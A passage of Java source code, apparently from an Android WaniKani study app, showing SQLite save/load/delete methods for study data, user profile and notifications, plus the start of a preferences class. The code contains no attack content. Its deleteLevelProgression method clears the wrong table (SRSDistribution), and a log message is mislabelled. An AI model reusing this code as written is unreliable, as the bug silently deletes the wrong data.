(c != null) {\n c.close();\n }\n }\n }\n\n return list.size() != 0 ? list : null;\n }\n\n private static void deleteAllItemsFromSameLevelAndType(List<BaseItem> list, BaseItem.ItemType type) {\n HashSet<Integer> levels = new HashSet();\n\n for (BaseItem item : list)\n levels.add(item.getLevel());\n\n for (Integer level : levels) {\n String whereClause = ItemsTable.COLUMN_NAME_LEVEL + \" = ?\" + \" AND \"\n + ItemsTable.COLUMN_NAME_ITEM_TYPE + \" = ?\";\n String[] whereArgs = {\n String.valueOf(level),\n type.toString()\n };\n\n db.delete(ItemsTable.TABLE_NAME, whereClause, whereArgs);\n }\n }\n\n private static void addRecentUnlock(UnlockItem item) {\n ContentValues values = new ContentValues();\n values.put(RecentUnlocksTable.COLUMN_NAME_CHARACTER, item.getCharacter());\n values.put(RecentUnlocksTable.COLUMN_NAME_KANA, item.getKana());\n values.put(RecentUnlocksTable.COLUMN_NAME_MEANING, item.getMeaning());\n values.put(RecentUnlocksTable.COLUMN_NAME_IMAGE, item.getImage());\n values.put(RecentUnlocksTable.COLUMN_NAME_ONYOMI, item.getOnyomi());\n values.put(RecentUnlocksTable.COLUMN_NAME_KUNYOMI, item.getKunyomi());\n values.put(RecentUnlocksTable.COLUMN_NAME_IMPORTANT_READING, item.getImportantReading());\n values.put(RecentUnlocksTable.COLUMN_NAME_LEVEL, item.getLevel());\n values.put(RecentUnlocksTable.COLUMN_NAME_ITEM_TYPE, item.getType().toString());\n values.put(RecentUnlocksTable.COLUMN_NAME_SRS, item.getSrsLevel());\n values.put(RecentUnlocksTable.COLUMN_NAME_UNLOCKED_DATE, item.getUnlockDateInSeconds());\n values.put(RecentUnlocksTable.COLUMN_NAME_AVAILABLE_DATE, item.getAvailableDateInSeconds());\n values.put(RecentUnlocksTable.COLUMN_NAME_BURNED, item.isBurned() ? 1 : 0);\n values.put(RecentUnlocksTable.COLUMN_NAME_BURNED_DATE, item.getBurnedDateInSeconds());\n values.put(RecentUnlocksTable.COLUMN_NAME_MEANING_CORRECT, item.getMeaningCorrect());\n values.put(RecentUnlocksTable.COLUMN_NAME_MEANING_INCORRECT, item.getMeaningIncorrect());\n values.put(RecentUnlocksTable.COLUMN_NAME_MEANING_MAX_STREAK, item.getMeaningMaxStreak());\n values.put(RecentUnlocksTable.COLUMN_NAME_MEANING_CURRENT_STREAK, item.getMeaningCurrentStreak());\n values.put(RecentUnlocksTable.COLUMN_NAME_READING_CORRECT, item.getReadingCorrect());\n values.put(RecentUnlocksTable.COLUMN_NAME_READING_INCORRECT, item.getReadingIncorrect());\n values.put(RecentUnlocksTable.COLUMN_NAME_READING_MAX_STREAK, item.getReadingMaxStreak());\n values.put(RecentUnlocksTable.COLUMN_NAME_READING_CURRENT_STREAK, item.getReadingCurrentStreak());\n values.put(RecentUnlocksTable.COLUMN_NAME_MEANING_NOTE, item.getMeaningNote());\n values.put(RecentUnlocksTable.COLUMN_NAME_USER_SYNONYMS, item.getUserSynonymsAsString());\n values.put(RecentUnlocksTable.COLUMN_NAME_READING_NOTE, item.getReadingNote());\n\n db.insert(RecentUnlocksTable.TABLE_NAME, RecentUnlocksTable.COLUMN_NAME_NULLABLE, values);\n }\n\n public static void saveRecentUnlocks(List<UnlockItem> list) {\n deleteSameRecentUnlocks(list);\n\n for (UnlockItem item : list)\n addRecentUnlock(item);\n }\n\n public static RecentUnlocksList getRecentUnlocks(int limit) {\n RecentUnlocksList list = new RecentUnlocksList();\n\n Cursor c = null;\n\n try {\n c = db.query(\n RecentUnlocksTable.TABLE_NAME,\n RecentUnlocksTable.COLUMNS,\n null,\n null,\n null,\n null,\n null,\n String.valueOf(limit)\n );\n\n if (c != null && c.moveToFirst()) {\n do {\n UnlockItem item = new UnlockItem(\n c.getInt(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_ID)),\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_CHARACTER)),\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_KANA)),\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_MEANING)),\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_IMAGE)),\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_ONYOMI)),\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_KUNYOMI)),\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_IMPORTANT_READING)),\n c.getInt(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_LEVEL)),\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_ITEM_TYPE)),\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_SRS)),\n c.getLong(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_UNLOCKED_DATE)),\n c.getLong(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_AVAILABLE_DATE)),\n c.getInt(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_BURNED)) == 1,\n c.getLong(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_BURNED_DATE)),\n c.getInt(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_MEANING_CORRECT)),\n c.getInt(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_MEANING_INCORRECT)),\n c.getInt(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_MEANING_MAX_STREAK)),\n c.getInt(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_MEANING_CURRENT_STREAK)),\n c.getInt(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_READING_CORRECT)),\n c.getInt(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_READING_INCORRECT)),\n c.getInt(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_READING_MAX_STREAK)),\n c.getInt(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_READING_CURRENT_STREAK)),\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_MEANING_NOTE)),\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_USER_SYNONYMS)) != null\n ? c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_USER_SYNONYMS)).split(\",\")\n : null,\n c.getString(c.getColumnIndexOrThrow(RecentUnlocksTable.COLUMN_NAME_READING_NOTE))\n );\n list.add(item);\n } while (c.moveToNext());\n }\n } finally {\n if (c != null) {\n c.close();\n }\n }\n\n return list.size() != 0 ? list : null;\n }\n\n public static void deleteSameRecentUnlocks(List<UnlockItem> list) {\n for (UnlockItem item : list) {\n String whereClause = item.getImage() == null\n ? RecentUnlocksTable.COLUMN_NAME_CHARACTER + \" = ?\"\n : RecentUnlocksTable.COLUMN_NAME_IMAGE + \" = ?\";\n String[] whereArgs = {\n item.getImage() == null ? String.valueOf(item.getCharacter()) : item.getImage()\n };\n\n db.delete(RecentUnlocksTable.TABLE_NAME, whereClause, whereArgs);\n }\n }\n\n private static void addCriticalItem(CriticalItem item) {\n if (item == null) return; // WANIKANI API SMH\n\n ContentValues values = new ContentValues();\n values.put(CriticalItemsTable.COLUMN_NAME_CHARACTER, item.getCharacter());\n values.put(CriticalItemsTable.COLUMN_NAME_KANA, item.getKana());\n values.put(CriticalItemsTable.COLUMN_NAME_MEANING, item.getMeaning());\n values.put(CriticalItemsTable.COLUMN_NAME_IMAGE, item.getImage());\n values.put(CriticalItemsTable.COLUMN_NAME_ONYOMI, item.getOnyomi());\n values.put(CriticalItemsTable.COLUMN_NAME_KUNYOMI, item.getKunyomi());\n values.put(CriticalItemsTable.COLUMN_NAME_IMPORTANT_READING, item.getImportantReading());\n values.put(CriticalItemsTable.COLUMN_NAME_LEVEL, item.getLevel());\n values.put(CriticalItemsTable.COLUMN_NAME_ITEM_TYPE, item.getType().toString());\n values.put(CriticalItemsTable.COLUMN_NAME_SRS, item.getSrsLevel());\n values.put(CriticalItemsTable.COLUMN_NAME_UNLOCKED_DATE, item.getUnlockDateInSeconds());\n values.put(CriticalItemsTable.COLUMN_NAME_AVAILABLE_DATE, item.getAvailableDateInSeconds());\n values.put(CriticalItemsTable.COLUMN_NAME_BURNED, item.isBurned() ? 1 : 0);\n values.put(CriticalItemsTable.COLUMN_NAME_BURNED_DATE, item.getBurnedDateInSeconds());\n values.put(CriticalItemsTable.COLUMN_NAME_MEANING_CORRECT, item.getMeaningCorrect());\n values.put(CriticalItemsTable.COLUMN_NAME_MEANING_INCORRECT, item.getMeaningIncorrect());\n values.put(CriticalItemsTable.COLUMN_NAME_MEANING_MAX_STREAK, item.getMeaningMaxStreak());\n values.put(CriticalItemsTable.COLUMN_NAME_MEANING_CURRENT_STREAK, item.getMeaningCurrentStreak());\n values.put(CriticalItemsTable.COLUMN_NAME_READING_CORRECT, item.getReadingCorrect());\n values.put(CriticalItemsTable.COLUMN_NAME_READING_INCORRECT, item.getReadingIncorrect());\n values.put(CriticalItemsTable.COLUMN_NAME_READING_MAX_STREAK, item.getReadingMaxStreak());\n values.put(CriticalItemsTable.COLUMN_NAME_READING_CURRENT_STREAK, item.getReadingCurrentStreak());\n values.put(CriticalItemsTable.COLUMN_NAME_MEANING_NOTE, item.getMeaningNote());\n values.put(CriticalItemsTable.COLUMN_NAME_USER_SYNONYMS, item.getUserSynonymsAsString());\n values.put(CriticalItemsTable.COLUMN_NAME_READING_NOTE, item.getReadingNote());\n values.put(CriticalItemsTable.COLUMN_NAME_PERCENTAGE, item.getPercentage());\n\n db.insert(CriticalItemsTable.TABLE_NAME, CriticalItemsTable.COLUMN_NAME_NULLABLE, values);\n }\n\n public static void saveCriticalItems(CriticalItemsList list) {\n deleteSameCriticalItems(list);\n\n for (CriticalItem item : list)\n addCriticalItem(item);\n }\n\n public static CriticalItemsList getCriticalItems(int percentage) {\n CriticalItemsList list = new CriticalItemsList();\n\n String whereClause = CriticalItemsTable.COLUMN_NAME_PERCENTAGE + \" < ?\";\n String[] whereArgs = {\n String.valueOf(percentage)\n };\n\n Cursor c = null;\n\n try {\n c = db.query(\n CriticalItemsTable.TABLE_NAME,\n CriticalItemsTable.COLUMNS,\n whereClause,\n whereArgs,\n null,\n null,\n null\n );\n\n if (c != null && c.moveToFirst()) {\n do {\n CriticalItem item = new CriticalItem(\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_ID)),\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_CHARACTER)),\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_KANA)),\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_MEANING)),\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_IMAGE)),\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_ONYOMI)),\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_KUNYOMI)),\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_IMPORTANT_READING)),\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_LEVEL)),\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_ITEM_TYPE)),\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_SRS)),\n c.getLong(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_UNLOCKED_DATE)),\n c.getLong(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_AVAILABLE_DATE)),\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_BURNED)) == 1,\n c.getLong(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_BURNED_DATE)),\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_MEANING_CORRECT)),\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_MEANING_INCORRECT)),\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_MEANING_MAX_STREAK)),\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_MEANING_CURRENT_STREAK)),\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_READING_CORRECT)),\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_READING_INCORRECT)),\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_READING_MAX_STREAK)),\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_READING_CURRENT_STREAK)),\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_MEANING_NOTE)),\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_USER_SYNONYMS)) != null\n ? c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_USER_SYNONYMS)).split(\",\")\n : null,\n c.getString(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_READING_NOTE)),\n c.getInt(c.getColumnIndexOrThrow(CriticalItemsTable.COLUMN_NAME_PERCENTAGE))\n );\n list.add(item);\n } while (c.moveToNext());\n }\n } finally {\n if (c != null) {\n c.close();\n }\n }\n\n return list;\n }\n\n private static void deleteSameCriticalItems(List<CriticalItem> list) {\n for (CriticalItem item : list) {\n if (item == null) continue;\n\n String whereClause = item.getImage() == null\n ? CriticalItemsTable.COLUMN_NAME_CHARACTER + \" = ?\"\n : CriticalItemsTable.COLUMN_NAME_IMAGE + \" = ?\";\n String[] whereArgs = {\n item.getImage() == null ? String.valueOf(item.getCharacter()) : item.getImage()\n };\n\n db.delete(CriticalItemsTable.TABLE_NAME, whereClause, whereArgs);\n }\n }\n\n public static void saveStudyQueue(StudyQueue queue) {\n deleteStudyQueue();\n\n ContentValues values = new ContentValues();\n values.put(StudyQueueTable.COLUMN_NAME_LESSONS_AVAILABLE, queue.lessons_available);\n values.put(StudyQueueTable.COLUMN_NAME_REVIEWS_AVAILABLE, queue.reviews_available);\n values.put(StudyQueueTable.COLUMN_NAME_REVIEWS_AVAILABLE_NEXT_HOUR, queue.reviews_available_next_hour);\n values.put(StudyQueueTable.COLUMN_NAME_REVIEWS_AVAILABLE_NEXT_DAY, queue.reviews_available_next_day);\n values.put(StudyQueueTable.COLUMN_NAME_NEXT_REVIEW_DATE, queue.next_review_date);\n\n db.insert(StudyQueueTable.TABLE_NAME, StudyQueueTable.COLUMN_NAME_NULLABLE, values);\n }\n\n public static StudyQueue getStudyQueue() {\n Cursor c = null;\n\n try {\n c = db.query(\n StudyQueueTable.TABLE_NAME,\n StudyQueueTable.COLUMNS,\n null,\n null,\n null,\n null,\n null\n );\n\n if (c != null && c.moveToFirst()) {\n return new StudyQueue(\n c.getInt(c.getColumnIndexOrThrow(StudyQueueTable.COLUMN_NAME_ID)),\n c.getInt(c.getColumnIndexOrThrow(StudyQueueTable.COLUMN_NAME_LESSONS_AVAILABLE)),\n c.getInt(c.getColumnIndexOrThrow(StudyQueueTable.COLUMN_NAME_REVIEWS_AVAILABLE)),\n c.getInt(c.getColumnIndexOrThrow(StudyQueueTable.COLUMN_NAME_REVIEWS_AVAILABLE_NEXT_HOUR)),\n c.getInt(c.getColumnIndexOrThrow(StudyQueueTable.COLUMN_NAME_REVIEWS_AVAILABLE_NEXT_DAY)),\n c.getLong(c.getColumnIndexOrThrow(StudyQueueTable.COLUMN_NAME_NEXT_REVIEW_DATE))\n );\n } else {\n Log.e(TAG, \"No study queue found; returning null\");\n return null;\n }\n } finally {\n if (c != null) {\n c.close();\n }\n }\n }\n\n public static void deleteStudyQueue() {\n db.delete(StudyQueueTable.TABLE_NAME, null, null);\n }\n\n public static void saveLevelProgression(LevelProgression progression) {\n deleteLevelProgression();\n\n ContentValues values = new ContentValues();\n values.put(LevelProgressionTable.COLUMN_NAME_RADICALS_PROGRESS, progression.radicals_progress);\n values.put(LevelProgressionTable.COLUMN_NAME_RADICALS_TOTAL, progression.radicals_total);\n values.put(LevelProgressionTable.COLUMN_NAME_REVIEWS_KANJI_PROGRESS, progression.kanji_progress);\n values.put(LevelProgressionTable.COLUMN_NAME_REVIEWS_KANJI_TOTAL, progression.kanji_total);\n\n db.insert(LevelProgressionTable.TABLE_NAME, LevelProgressionTable.COLUMN_NAME_NULLABLE, values);\n }\n\n public static LevelProgression getLevelProgression() {\n Cursor c = null;\n\n try {\n c = db.query(\n LevelProgressionTable.TABLE_NAME,\n LevelProgressionTable.COLUMNS,\n null,\n null,\n null,\n null,\n null\n );\n\n if (c != null && c.moveToFirst()) {\n return new LevelProgression(\n c.getInt(c.getColumnIndexOrThrow(LevelProgressionTable.COLUMN_NAME_ID)),\n c.getInt(c.getColumnIndexOrThrow(LevelProgressionTable.COLUMN_NAME_RADICALS_PROGRESS)),\n c.getInt(c.getColumnIndexOrThrow(LevelProgressionTable.COLUMN_NAME_RADICALS_TOTAL)),\n c.getInt(c.getColumnIndexOrThrow(LevelProgressionTable.COLUMN_NAME_REVIEWS_KANJI_PROGRESS)),\n c.getInt(c.getColumnIndexOrThrow(LevelProgressionTable.COLUMN_NAME_REVIEWS_KANJI_TOTAL))\n );\n } else {\n Log.e(TAG, \"No study queue found; returning null\");\n return null;\n }\n } finally {\n if (c != null) {\n c.close();\n }\n }\n }\n\n public static void deleteLevelProgression() {\n db.delete(SRSDistributionTable.TABLE_NAME, null, null);\n }\n\n public static void saveSrsDistribution(SRSDistribution distribution) {\n deleteSrsDistribution();\n\n ContentValues values = new ContentValues();\n values.put(SRSDistributionTable.COLUMN_NAME_APPRENTICE_RADICALS, distribution.apprentice.radicals);\n values.put(SRSDistributionTable.COLUMN_NAME_APPRENTICE_KANJI, distribution.apprentice.kanji);\n values.put(SRSDistributionTable.COLUMN_NAME_APPRENTICE_VOCABULARY, distribution.apprentice.vocabulary);\n values.put(SRSDistributionTable.COLUMN_NAME_GURU_RADICALS, distribution.guru.radicals);\n values.put(SRSDistributionTable.COLUMN_NAME_GURU_KANJI, distribution.guru.kanji);\n values.put(SRSDistributionTable.COLUMN_NAME_GURU_VOCABULARY, distribution.guru.vocabulary);\n values.put(SRSDistributionTable.COLUMN_NAME_MASTER_RADICALS, distribution.master.radicals);\n values.put(SRSDistributionTable.COLUMN_NAME_MASTER_KANJI, distribution.master.kanji);\n values.put(SRSDistributionTable.COLUMN_NAME_MASTER_VOCABULARY, distribution.master.vocabulary);\n values.put(SRSDistributionTable.COLUMN_NAME_ENLIGHTENED_RADICALS, distribution.enlighten.radicals);\n values.put(SRSDistributionTable.COLUMN_NAME_ENLIGHTENED_KANJI, distribution.enlighten.kanji);\n values.put(SRSDistributionTable.COLUMN_NAME_ENLIGHTENED_VOCABULARY, distribution.enlighten.vocabulary);\n values.put(SRSDistributionTable.COLUMN_NAME_BURNED_RADICALS, distribution.burned.radicals);\n values.put(SRSDistributionTable.COLUMN_NAME_BURNED_KANJI, distribution.burned.kanji);\n values.put(SRSDistributionTable.COLUMN_NAME_BURNED_VOCABULARY, distribution.burned.vocabulary);\n\n db.insert(SRSDistributionTable.TABLE_NAME, SRSDistributionTable.COLUMN_NAME_NULLABLE, values);\n }\n\n public static SRSDistribution getSrsDistribution() {\n Cursor c = null;\n\n try {\n c = db.query(\n SRSDistributionTable.TABLE_NAME,\n SRSDistributionTable.COLUMNS,\n null,\n null,\n null,\n null,\n null\n );\n\n if (c != null && c.moveToFirst()) {\n return new SRSDistribution(\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_ID)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_APPRENTICE_RADICALS)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_APPRENTICE_KANJI)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_APPRENTICE_VOCABULARY)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_GURU_RADICALS)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_GURU_KANJI)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_GURU_VOCABULARY)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_MASTER_RADICALS)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_MASTER_KANJI)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_MASTER_VOCABULARY)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_ENLIGHTENED_RADICALS)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_ENLIGHTENED_KANJI)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_ENLIGHTENED_VOCABULARY)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_BURNED_RADICALS)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_BURNED_KANJI)),\n c.getInt(c.getColumnIndexOrThrow(SRSDistributionTable.COLUMN_NAME_BURNED_VOCABULARY))\n );\n } else {\n Log.e(TAG, \"No srs distribution found; returning null\");\n return null;\n }\n } finally {\n if (c != null) {\n c.close();\n }\n }\n }\n\n public static void deleteSrsDistribution() {\n db.delete(SRSDistributionTable.TABLE_NAME, null, null);\n }\n\n private static void addUser(User user) {\n ContentValues values = new ContentValues();\n values.put(UsersTable.COLUMN_NAME_USERNAME, user.username);\n values.put(UsersTable.COLUMN_NAME_GRAVATAR, user.gravatar);\n values.put(UsersTable.COLUMN_NAME_LEVEL, user.level);\n values.put(UsersTable.COLUMN_NAME_TITLE, user.title);\n values.put(UsersTable.COLUMN_NAME_ABOUT, user.about);\n values.put(UsersTable.COLUMN_NAME_WEBSITE, user.website);\n values.put(UsersTable.COLUMN_NAME_TWITTER, user.twitter);\n values.put(UsersTable.COLUMN_NAME_TOPICS_COUNT, user.topics_count);\n values.put(UsersTable.COLUMN_NAME_POSTS_COUNT, user.posts_count);\n values.put(UsersTable.COLUMN_NAME_CREATION_DATE, user.creation_date);\n values.put(UsersTable.COLUMN_NAME_VACATION_DATE, user.vacation_date);\n db.insert(UsersTable.TABLE_NAME, UsersTable.COLUMN_NAME_NULLABLE, values);\n }\n\n public static void saveUser(User user) {\n deleteUsers();\n\n addUser(user);\n }\n\n public static User getUser() {\n Cursor c = null;\n\n try {\n c = db.query(\n UsersTable.TABLE_NAME,\n UsersTable.COLUMNS,\n null,\n null,\n null,\n null,\n null\n );\n\n if (c != null && c.moveToFirst()) {\n return new User(\n c.getString(c.getColumnIndexOrThrow(UsersTable.COLUMN_NAME_USERNAME)),\n c.getString(c.getColumnIndexOrThrow(UsersTable.COLUMN_NAME_GRAVATAR)),\n c.getInt(c.getColumnIndexOrThrow(UsersTable.COLUMN_NAME_LEVEL)),\n c.getString(c.getColumnIndexOrThrow(UsersTable.COLUMN_NAME_TITLE)),\n c.getString(c.getColumnIndexOrThrow(UsersTable.COLUMN_NAME_ABOUT)),\n c.getString(c.getColumnIndexOrThrow(UsersTable.COLUMN_NAME_WEBSITE)),\n c.getString(c.getColumnIndexOrThrow(UsersTable.COLUMN_NAME_TWITTER)),\n c.getInt(c.getColumnIndexOrThrow(UsersTable.COLUMN_NAME_TOPICS_COUNT)),\n c.getInt(c.getColumnIndexOrThrow(UsersTable.COLUMN_NAME_POSTS_COUNT)),\n c.getLong(c.getColumnIndexOrThrow(UsersTable.COLUMN_NAME_CREATION_DATE)),\n c.getLong(c.getColumnIndexOrThrow(UsersTable.COLUMN_NAME_VACATION_DATE))\n );\n } else {\n Log.e(TAG, \"No users found; returning null\");\n return null;\n }\n } finally {\n if (c != null) {\n c.close();\n }\n }\n }\n\n public static void deleteUsers() {\n db.delete(UsersTable.TABLE_NAME, null, null);\n }\n\n public static void saveNotification(Notification item) {\n db.delete(\n NotificationsTable.TABLE_NAME,\n NotificationsTable.COLUMN_NAME_ID + \" = ?\",\n new String[]{String.valueOf(item.getId())}\n );\n\n ContentValues values = new ContentValues();\n values.put(NotificationsTable.COLUMN_NAME_ID, item.getId());\n values.put(NotificationsTable.COLUMN_NAME_TITLE, item.getTitle());\n values.put(NotificationsTable.COLUMN_NAME_SHORT_TEXT, item.getShortText());\n values.put(NotificationsTable.COLUMN_NAME_TEXT, item.getText());\n values.put(NotificationsTable.COLUMN_NAME_IMAGE, item.getImage());\n values.put(NotificationsTable.COLUMN_NAME_ACTION_URL, item.getActionUrl());\n values.put(NotificationsTable.COLUMN_NAME_READ, item.isRead() ? 1 : 0);\n values.put(NotificationsTable.COLUMN_NAME_ACTION_TEXT, item.getActionText());\n\n db.insert(NotificationsTable.TABLE_NAME, NotificationsTable.COLUMN_NAME_NULLABLE, values);\n }\n\n public static void saveNotifications(List<Notification> list) {\n deleteSameNotifications(list);\n\n for (Notification item : list)\n saveNotification(item);\n }\n\n public static List<Notification> getNotifications() {\n List<Notification> list = new ArrayList<>();\n\n String whereClause = NotificationsTable.COLUMN_NAME_READ + \" = ?\";\n String[] whereArgs = {\n \"0\"\n };\n\n Cursor c = null;\n\n try {\n c = db.query(\n NotificationsTable.TABLE_NAME,\n NotificationsTable.COLUMNS,\n whereClause,\n whereArgs,\n null,\n null,\n null\n );\n\n if (c != null && c.moveToFirst()) {\n do {\n Notification item = new Notification(\n c.getInt(c.getColumnIndexOrThrow(NotificationsTable.COLUMN_NAME_ID)),\n c.getString(c.getColumnIndexOrThrow(NotificationsTable.COLUMN_NAME_TITLE)),\n c.getString(c.getColumnIndexOrThrow(NotificationsTable.COLUMN_NAME_SHORT_TEXT)),\n c.getString(c.getColumnIndexOrThrow(NotificationsTable.COLUMN_NAME_TEXT)),\n c.getString(c.getColumnIndexOrThrow(NotificationsTable.COLUMN_NAME_IMAGE)),\n c.getString(c.getColumnIndexOrThrow(NotificationsTable.COLUMN_NAME_ACTION_URL)),\n c.getString(c.getColumnIndexOrThrow(NotificationsTable.COLUMN_NAME_ACTION_TEXT)),\n c.getInt(c.getColumnIndexOrThrow(NotificationsTable.COLUMN_NAME_READ)) == 1\n );\n list.add(item);\n } while (c.moveToNext());\n }\n } finally {\n if (c != null) {\n c.close();\n }\n }\n\n return list;\n }\n\n private static void deleteSameNotifications(List<Notification> list) {\n for (Notification item : list) {\n String whereClause = NotificationsTable.COLUMN_NAME_ID + \" = ?\";\n String[] whereArgs = {\n String.valueOf(item.getId())\n };\n\n db.delete(NotificationsTable.TABLE_NAME, whereClause, whereArgs);\n }\n }\n}", "@SuppressLint(\"CommitPrefEdits\")\npublic abstract class PrefManager {\n public static final String PREF_API_KEY = \"pref_api_key\";\n private static final String PREF_DASHBOARD_RECENT_UNLOCKS_NUMBER = \"pref_dashboard_recent_unlock_number\";\n private static final String PREF_DASHBOARD_CRITICAL_ITEMS_PERCENTAGE = \"pref_dashboard_critical_items_percentage\";\n private static final String PREF_CRITICAL_ITEMS_NUMBER = \"pref_critical_items_number\";\n private static final String PREF_USE_CUSTOM_FONTS = \"pref_use_custom_fonts\";\n private static final String PREF_USE_SPECIFIC_DATES = \"pref_use_specific_dates\";\n private static final String PREF_REVIEWS_IMPROVEMENTS = \"pref_reviews_improvements\";\n private static final String PREF_IGNORE_BUTTON = \"pref_ignore_button\";\n private static final String PREF_SINGLE_BUTTON = \"pref_single_button\";\n private static final String PREF_PORTRAIT_MODE = \"pref_portrait_mode\";\n private static final String PREF_WANIKANI_IMPROVE = \"pref_wanikani_improve\";\n private static final String PREF_REVIEW_ORDER = \"pref_review_order\";\n private static final String PREF_LESSON_ORDER = \"pref_lesson_order\";\n private static final String PREF_EXTERNAL_FRAME_PLACER = \"pref_eternal_frame_placer\";\n private static final String PREF_EXTERNAL_FRAME_PLACER_DICTIONARY = \"pref_external_frame_placer_dictionary\";\n private static final String PREF_PART_OF_SPEECH = \"pref_part_of_speech\";\n private static final String PREF_AUTO_POPUP = \"pref_auto_popup\";\n private static final String PREF_MISTAKE_DELAY = \"pref_mistake_delay\";\n private static final String PREF_ROMAJI = \"pref_romaji\";\n private static final String PREF_NO_SUGGESTION = \"pref_no_suggestions\";\n private static final String PREF_MUTE_BUTTON = \"pref_mute_button\";\n private static final String PREF_SRS_INDCATION = \"pref_srs_indication\";\n private static final String PREF_IGNORE_BUTTON_MESSAGE = \"pref_ignore_button_message\";\n private static final String PREF_HW_ACCEL_MESSAGE = \"pref_hw_accel_message\";\n private static final String PREF_MUTE = \"pref_mute\";\n private static final String PREF_HW_ACCEL = \"pref_hw_accel\";\n private static final String PREF_REVIEWS_LESSONS_FULLSCREEN = \"pref_rev_les_fullscreen\";\n private static final String PREF_SHOW_NOTIFICATIONS = \"pref_show_notifications\";\n private static final String PREF_ENABLE_REMINDER_NOTIFICATION = \"pref_enable_reminder_notification\";\n private static final String PREF_REMINDER_NOTIFICATION_INTERVAL = \"pref_reminder_notification_interval\";\n\n private static SharedPreferences prefs;\n private static SharedPreferences reviewsPrefs;\n\n public static void init(Context context) {\n prefs = PreferenceManager.getDefaultSharedPreferences(context);\n reviewsPrefs = context.getSharedPreferences(\"review-lessons_prefs\", Context.MODE_PRIVATE);\n }\n\n public static String getApiKey() {\n return prefs.getString(\"api_key\", 